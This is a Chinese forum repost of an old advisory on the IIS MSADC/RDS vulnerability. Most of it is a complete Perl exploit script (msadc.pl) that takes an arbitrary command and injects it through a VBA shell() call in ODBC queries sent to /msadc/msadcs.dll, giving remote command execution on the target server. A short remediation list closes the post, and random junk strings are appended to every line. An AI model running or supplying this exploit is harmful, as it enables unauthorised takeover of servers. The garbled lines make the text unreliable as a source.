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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) KMV=%o  
S_T1y  
涉及程序: ]a! xUg!S  
Microsoft NT server 1|?05<8  
%uoQ9lD'  
描述: X5khCL Hi  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 }#qGqY*@LK  
V%_4%  
详细: m1IKVa7-\}  
如果你没有时间读详细内容的话,就删除: 6sE{{,OGB  
c:\Program Files\Common Files\System\Msadc\msadcs.dll !p[9{U->o;  
有关的安全问题就没有了。 g(Io/hyj  
#!$GH_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 =Me5ft w  
sj8~?O  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Ht-t1q  
关于利用ODBC远程漏洞的描述,请参看: w~ ;I7:  
eh,~F   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H> '>3]G  
Hzhceeh_+  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 e+]6OV&+  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m "M("%  
ncX/L[L  
这里不再论述。 <d<mvXbw_@  
3VUWX5K?  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^47PLLRP  
u- o--q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset RC^9HuR&  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 5|I[>Su  
q\q=PB6r  
ErT{(t7  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 7-~Q5Kr.  
.iQT5c  
#!perl -\y-qHgb/  
# 'Vr$MaO  
# MSADC/RDS 'usage' (aka exploit) script o d7]tOK9  
# e.*%K!(  
# by rain.forest.puppy cDoo*  
# $%%os6y2v  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +e-,ST&w(  
# beta test and find errors! e|rg;`AW  
WH$e2[+Y  
use Socket; use Getopt::Std; F*Z=<]<+  
getopts("e:vd:h:XR", \%args); w]_zp?\^ }  
K 9kUS  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (Si=m;g  
p:OPw D+  
if (!defined $args{h} && !defined $args{R}) { *1'`"D~  
print qq~ jV/CQM5a+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ooj~&fu  
-h <host> = host you want to scan (ip or domain) ?+t1ME|  
-d <seconds> = delay between calls, default 1 second k78Vh$AA6%  
-X = dump Index Server path table, if available _oB_YL;,*  
-v = verbose JI/_ce  
-e = external dictionary file for step 5 X>I)~z}9#  
a|BcnYN  
Or a -R will resume a command session $x#FgD(iI  
D&ve15wL  
~; exit;} /oL;YIoQX  
 x-'~Bu  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; NJ MJ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X]y )ZF26  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Dl&GJ`&:p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); <X_!x_x  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ;+I/I9~  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <N(oDaU  
axk"^gps  
if (!defined $args{R}){ $ret = &has_msadc; s 1ge0~p3  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} a P&D9%5  
}6-ZE9H-v  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ow/57P  
. "cmd /c "; XYH|;P6K  
$in=<STDIN>; chomp $in; hAqg Iu*  
$command="cmd /c " . $in ; >|o_wO  
phYDs9-K  
if (defined $args{R}) {&load; exit;} /U$8TT8+-  
45@]:2j  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 5y} v{Ijt  
&try_btcustmr; !$g+F(:(c  
0fs$#j  
print "\nStep 2: Trying to make our own DSN..."; >qo~d?+  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 7 yt=]1  
hKlZi!4J  
print "\nStep 3: Trying known DSNs..."; ` r']^ ,  
&known_dsn; Ao7`G':  
aVe/ gE  
print "\nStep 4: Trying known .mdbs..."; GOSI3RRn  
&known_mdb; _0pO8o-x  
q+a.G2S  
if (defined $args{e}){ Qpt&3_   
print "\nStep 5: Trying dictionary of DSN names..."; zTD@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } <8 #ObdY!  
r,N[)@  
print "Sorry Charley...maybe next time?\n"; nW+YOX|+  
exit; a45 ss7  
^# A.@  
############################################################################## }E}8_ 8T6  
Y& ] 8 {  
sub sendraw { # ripped and modded from whisker ?G08NR  
sleep($delay); # it's a DoS on the server! At least on mine... {^Pq\h;  
my ($pstr)=@_; x3e]d$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =/+#PVO  
die("Socket problems\n"); X['2b78k  
if(connect(S,pack "SnA4x8",2,80,$target)){ nN3$\gHp8i  
select(S); $|=1; [ut#:1h^  
print $pstr; my @in=<S>; Ra3ukYG[  
select(STDOUT); close(S); ~~8rI[/  
return @in; ,}C8;/V  
} else { die("Can't connect...\n"); }} }4nT.!5  
C2<CWPn<  
############################################################################## eeUp 1g  
}wSy  
sub make_header { # make the HTTP request fj 4^VXD  
my $msadc=<<EOT hxC!+ArVe  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 y1BgK>R  
User-Agent: ACTIVEDATA 2 [!Mx&^  
Host: $ip =!ac7i\F  
Content-Length: $clen sg'NBAo"  
Connection: Keep-Alive )9P&=  
s6=YV0w(  
ADCClientVersion:01.06 ewB!IJxh  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 IbWPlbH  
?z"KnR+?Q  
--!ADM!ROX!YOUR!WORLD! 5@XV6  
Content-Type: application/x-varg sIm#_+Y  
Content-Length: $reqlen |,}E0G.  
(G4'(6  
EOT Zj-BuE&@f  
; $msadc=~s/\n/\r\n/g; =J@`0H"  
return $msadc;} el'j&I  
5a(<%Q <"  
############################################################################## '1]7zWbW  
67J*&5? |  
sub make_req { # make the RDS request 64D%_8#m  
my ($switch, $p1, $p2)=@_; " OGdE_E  
my $req=""; my $t1, $t2, $query, $dsn; B4O6> '  
e`sw*m5  
if ($switch==1){ # this is the btcustmr.mdb query 3$"/>g/  
$query="Select * from Customers where City=" . make_shell(); y3yvZD  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . )&.!3y 660  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} '8r8%XI  
u3Do~RyL[  
elsif ($switch==2){ # this is general make table query <lOaor c  
$query="create table AZZ (B int, C varchar(10))"; +8UdvMN  
$dsn="$p1";} a{_ KSg  
b|ZLX:  
elsif ($switch==3){ # this is general exploit table query +{6`F1MO  
$query="select * from AZZ where C=" . make_shell(); [A_r1g&_  
$dsn="$p1";} b%nkIPA  
(/fT]6(  
elsif ($switch==4){ # attempt to hork file info from index server ,U%=rfB~  
$query="select path from scope()"; 0 [i+  
$dsn="Provider=MSIDXS;";} '\L0xw4  
hNO )~rt  
elsif ($switch==5){ # bad query l7Lj[d<n  
$query="select"; _>v0R'  
$dsn="$p1";} _j 5N=I{U  
%FlA ":W  
$t1= make_unicode($query); S'?fJ.  
$t2= make_unicode($dsn); !~d'{sy6  
$req = "\x02\x00\x03\x00"; vfXJYw+6_  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6To:T[ z#  
$req.= "\x00\x00" . $t1 ; ]-KV0H  
$req.= "\x08\x00" . pack ("S1", length($t2)); .Qfnd#  
$req.= "\x00\x00" . $t2 ; \ 522,n`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; O3+)qb!X  
return $req;} 4OEKx|:5n  
eKJ:?Lxv;  
############################################################################## &9@gm--b:  
leIy|K>\m  
sub make_shell { # this makes the shell() statement &>V/X{>$`K  
return "'|shell(\"$command\")|'";} <Cr8V'c  
K>LpN')d  
############################################################################## aG Ef#A  
g9|qbKQ:[  
sub make_unicode { # quick little function to convert to unicode 4$F:NW,v:)  
my ($in)=@_; my $out; )"F5lOA6  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } u x#. :C|  
return $out;} pEkOSG  
E+Im~=m$  
############################################################################## _lNC<7+#h  
+.wT 9kFcc  
sub rdo_success { # checks for RDO return success (this is kludge) )+*{Y$/U  
my (@in) = @_; my $base=content_start(@in); }z?xGW/k  
if($in[$base]=~/multipart\/mixed/){ 8Yxhd .  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &!6DC5  
return 0;} T|!D>l'  
Y!;gQeC  
############################################################################## 4XD)E&   
.`mtA`N  
sub make_dsn { # this makes a DSN for us LjC6?a_?l  
my @drives=("c","d","e","f"); n3*UgNg%fK  
print "\nMaking DSN: "; ;n` $+g:>  
foreach $drive (@drives) { pY, O_ t$  
print "$drive: "; -$OD}5ku#  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 6QW<RXom  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Yg$@Wb6  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); '1]+8E `Z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; bSY;[{Kl  
return 0 if $2 eq "404"; # not found/doesn't exist [h^f%  
if($2 eq "200") { ]u;GNz}?  
foreach $line (@results) { 4uX,uEa  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} rv`2*B  
} return 0;} 8i[".9}G\  
yV8-  
############################################################################## Q5hb0O%a  
jzMhJ  
sub verify_exists { G&.d)NfE  
my ($page)=@_; sE-x"c  
my @results=sendraw("GET $page HTTP/1.0\n\n"); jk K#e$7  
return $results[0];} #>@<n3rq  
bd} r#^'K  
############################################################################## {3.*7gnY\L  
Sy4 mZ}:  
sub try_btcustmr { dFx2>6AZt  
my @drives=("c","d","e","f"); 1 pa*T!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); N&?T0Ge;  
7[4_+Q:}  
foreach $dir (@dirs) { )\0Ug7]?  
print "$dir -> "; # fun status so you can see progress ]bs+:  
foreach $drive (@drives) { C:rRK*  
print "$drive: "; # ditto s Ke,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  \C!%IR  
$reqlenlen=length( "$reqlen" ); aB=vu=hF  
$clen= 206 + $reqlenlen + $reqlen; &t~zD4u B  
+ylxezc  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); J 5Wz4`'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} mYiSR   
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} AGl|>f)  
v&p,Clt-2  
############################################################################## }A^ 1q5  
j|&{e91,?  
sub odbc_error { o G (0i  
my (@in)=@_; my $base; {9h`$e=  
my $base = content_start(@in); I/^q+l.=`{  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this dNOX&$/=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p.@0=)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uo]Hi^r.l  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S9 $o  
return $in[$base+4].$in[$base+5].$in[$base+6];} jN31\)/i  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =''mpIg(  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . nu#aa#ex>  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <P+G7!KZ&  
0\? _ lT2  
############################################################################## Aqa6R+c  
` %FIgE^  
sub verbose { }V\P,ck  
my ($in)=@_; di8W2cwz  
return if !$verbose;  ]# Y|   
print STDOUT "\n$in\n";} 0 $n8b/%.  
QN)/,=#  
############################################################################## 8W19#?7>B  
T [i7C3QS  
sub save { M,.b`1-w  
my ($p1, $p2, $p3, $p4)=@_; jz|Wj  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ybD{4&ZE  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; l4iuu  
close OUT;} W2}%zux  
08zi/g2 3  
############################################################################## 4q\.I +r^  
:N^@a-  
sub load { OSSd;ueur$  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8C*6Fjb#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); .\z|Fr  
@p=<IN>; close(IN); uznoyj6g  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); J{nyo1A  
$target= inet_aton($ip) || die("inet_aton problems"); #JJp:S~`   
print "Resuming to $ip ..."; @Pb 1QLiz  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; "PX3%II  
if($p[1]==1) { XM@-Y&c$A  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; l>5]Wd{/  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; h-_0 A]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); [q>i  
if (rdo_success(@results)){print "Success!\n";} 2$i 0yPv  
else { print "failed\n"; verbose(odbc_error(@results));}} l LD)i J1  
elsif ($p[1]==3){ ,Y\4xg*`  
if(run_query("$p[3]")){ Zs$RKJ7  
print "Success!\n";} else { print "failed\n"; }} ^$Eiz.  
elsif ($p[1]==4){ =iK6/ y`  
if(run_query($drvst . "$p[3]")){ GaK_9Eg-2  
print "Success!\n"; } else { print "failed\n"; }} E]eqvTNH  
exit;} %*Z2Gef?H  
}PIGj}F/  
############################################################################## 9}qfdbI  
c7nk~K[6  
sub create_table { +} !F(c  
my ($in)=@_; }rMpp[  
$reqlen=length( make_req(2,$in,"") ) - 28; G4exk5  
$reqlenlen=length( "$reqlen" ); Znl>*e/|  
$clen= 206 + $reqlenlen + $reqlen; q=0{E0@9({  
my @results=sendraw(make_header() . make_req(2,$in,"")); #L4Kwy  
return 1 if rdo_success(@results); SiuO99'nV  
my $temp= odbc_error(@results); verbose($temp); norc!?L  
return 1 if $temp=~/Table 'AZZ' already exists/; -Ib+/'  
return 0;}  +SA<0l  
C"` 'Re5)  
############################################################################## NK#"qK""k  
K<7T}XzU$  
sub known_dsn { 8.Own=G?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go hPXVPLm7I  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a9EI7pnq  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", *~<]|H5~  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7@y!R   
FiU;>t<)  
foreach $dSn (@dsns) { wyzBkRg.  
print "."; iJKm27 ">  
next if (!is_access("DSN=$dSn")); io?{ew  
if(create_table("DSN=$dSn")){ s8_NN  
print "$dSn successful\n"; gl7vM  
if(run_query("DSN=$dSn")){ "1`i]Y\'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %:;[M|.  
print "Something's borked. Use verbose next time\n";}}} print "\n";} PN^1  
eGypXf%  
############################################################################## >RqT7n8h  
y:[VRLo  
sub is_access { I^\bS  
my ($in)=@_; bb :|1D  
$reqlen=length( make_req(5,$in,"") ) - 28; `J ,~hK  
$reqlenlen=length( "$reqlen" ); ttq< )4  
$clen= 206 + $reqlenlen + $reqlen; -^xKG'uth  
my @results=sendraw(make_header() . make_req(5,$in,"")); J!fc)h  
my $temp= odbc_error(@results); =#")G1A  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 19-yM`O  
return 0;} &Cpxo9-  
Q.E^9giC  
############################################################################## tG ^?fc  
sd@gEp)L  
sub run_query { FQ~ead36C  
my ($in)=@_; iN/!k.ybW}  
$reqlen=length( make_req(3,$in,"") ) - 28; [BR}4(7  
$reqlenlen=length( "$reqlen" ); RJs G]`  
$clen= 206 + $reqlenlen + $reqlen; `"=L  
my @results=sendraw(make_header() . make_req(3,$in,"")); u-M$45vct  
return 1 if rdo_success(@results); )E~\H+FP6  
my $temp= odbc_error(@results); verbose($temp); : )"jh`  
return 0;} f`]E]5?  
mhkAI@)>  
############################################################################## dVtLYx  
qjEWk."  
sub known_mdb { k+GK1Yl  
my @drives=("c","d","e","f","g"); 2#A9D.- h  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,lS-;.  
my $dir, $drive, $mdb; [W\atmd"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (Rg!km%2T  
[ma#8p)  
# this is sparse, because I don't know of many ,<j5i?  
my @sysmdbs=( "\\catroot\\icatalog.mdb", I;.E}k   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", )qP{X,Uf  
"\\system32\\certmdb.mdb", B';> Hk  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% iK:qPrk-  
x7kg_`\U  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", #~-&&S4a.J  
"\\cfusion\\cfapps\\forums\\forums_.mdb", CJtjn  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 'CAukk|  
"\\cfusion\\cfapps\\security\\realm_.mdb", }%d-U;Tt2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", tBI+uu aa2  
"\\cfusion\\database\\cfexamples.mdb", s=Q*|  
"\\cfusion\\database\\cfsnippets.mdb", '\E{qlI  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", B|$13dHfa  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", aKzD63  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~Q 9)Q  
"\\cfusion\\database\\smpolicy.mdb", A*U'SCg(G  
"\\cfusion\\database\cypress.mdb", B5r_+?=2e  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", k:@Ls  
"\\website\\cgi-win\\dbsample.mdb", m+^;\DFJ,  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 3[i !2iL.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A;`U{7IST  
); #these are just ?BvI/H5d  
foreach $drive (@drives) { j!o3g;j  
foreach $dir (@dirs){ "LIii1]k  
foreach $mdb (@sysmdbs) { 0THAI  
print "."; ~#km0<r?  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ $$f$$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; (U(x[Df)  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ r<"/P`r  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; l@J|p#0q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} RGuHXf  
j3-6WUO  
foreach $drive (@drives) { >^GCSPe  
foreach $mdb (@mdbs) { )j|y.[  
print "."; J9c3d~YW  
if(create_table($drv . $drive . $dir . $mdb)){ LtWU"42  
print "\n" . $drive . $dir . $mdb . " successful\n"; <$2zr4  
if(run_query($drv . $drive . $dir . $mdb)){ |ylTy B  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; B(Q.a&w45t  
} else { print "Something's borked. Use verbose next time\n"; }}}} {u6fa>R&$  
} 6|qvo+%  
Y4!q 1]TGX  
############################################################################## 'nt,+`.y6  
|(v=1#i  
sub hork_idx { v4~Xv5|w^F  
print "\nAttempting to dump Index Server tables...\n"; _W@Fk)E6N  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =/!S  
$reqlen=length( make_req(4,"","") ) - 28; d;:&3r|X  
$reqlenlen=length( "$reqlen" ); ^J~4~!  
$clen= 206 + $reqlenlen + $reqlen; m$qC 8z]  
my @results=sendraw2(make_header() . make_req(4,"","")); ?JTyNg4<  
if (rdo_success(@results)){ >d V@9  
my $max=@results; my $c; my %d; Vzm+Ew _  
for($c=19; $c<$max; $c++){ h`rjDd  
$results[$c]=~s/\x00//g; 8"UG&wLT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; IX?%H!i  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <+,0 G`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; o(NyOC  
$d{"$1$2"}="";} "Am0.c/  
foreach $c (keys %d){ print "$c\n"; } +p6\R;_E  
} else {print "Index server doesn't seem to be installed.\n"; }} hdqls0 r  
wO)KQ~yX  
############################################################################## 8'Bl=C|0X  
oySM?ZE  
sub dsn_dict { ;rAW3  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Xb]?/7 X  
while(<IN>){ { (,vm}iFL  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; dk`!UtNNRa  
next if (!is_access("DSN=$dSn")); j|dzd<kE6  
if(create_table("DSN=$dSn")){ IqKXFORiNI  
print "$dSn successful\n"; pv SFp-:_  
if(run_query("DSN=$dSn")){ !Y(qpC:$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;]x5;b9`  
print "Something's borked. Use verbose next time\n";}}} 6YGr"Kj &  
print "\n"; close(IN);} gF5EtdN?|  
qk1D#1vl  
############################################################################## 6mpUk.M"  
$%8n,FJ[  
sub sendraw2 { # ripped and modded from whisker yOzKux8kB  
sleep($delay); # it's a DoS on the server! At least on mine... Ao0PFY  
my ($pstr)=@_; E9-'!I!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +%9Y7qol  
die("Socket problems\n"); J c^ozw  
if(connect(S,pack "SnA4x8",2,80,$target)){ f_XCO=8'v  
print "Connected. Getting data"; :"IH*7xp  
open(OUT,">raw.out"); my @in; <yO9j   
select(S); $|=1; print $pstr; ]3jH^7[?  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} TFPq(i  
close(OUT); select(STDOUT); close(S); return @in; FY*0gp  
} else { die("Can't connect...\n"); }} bl-s0Ax-  
jk}PucV  
############################################################################## 'p]qN;`'O$  
0\*<k`dY  
sub content_start { # this will take in the server headers %$ ?Q%  
my (@in)=@_; my $c; d's`~HOU2  
for ($c=1;$c<500;$c++) { *3Z#r  
if($in[$c] =~/^\x0d\x0a/){ tTp`e0L*m  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } XhV"<&v  
else { return $c+1; }}} --)[>6)I  
return -1;} # it should never get here actually 8}T3Fig,q  
bkIA:2HX  
############################################################################## /2cOZ1G;  
) <~7<.0  
sub funky { W78-'c  
my (@in)=@_; my $error=odbc_error(@in); !Sh5o'D28  
if($error=~/ADO could not find the specified provider/){ YU(x!<Z  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; qrYeh`Mv  
exit;} `2  
if($error=~/A Handler is required/){ >[=`{B  
print "\nServer has custom handler filters (they most likely are patched)\n"; *.l=> #qF  
exit;} %&(\dt&R1h  
if($error=~/specified Handler has denied Access/){ '#6DI"vJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; z# B) b5  
exit;}} 1bs95Fh9Q  
iO`f{?b  
############################################################################## bYH_U4b  
-v@^6bQVp  
sub has_msadc { q)zvePO#  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); %*=FLtBjo  
my $base=content_start(@results); ,DLNI0uV  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ')RK(I  
return 0;} 8;3FTF  
^o:5B%}#[  
######################## >UH=]$0N  
1sA-BQL  
bNgcZ V.  
解决方案: 9z}kkYk  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll  ond/e&1  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 0@;E8^pa  
7lu;lAAP  
拿出来充数 哈哈
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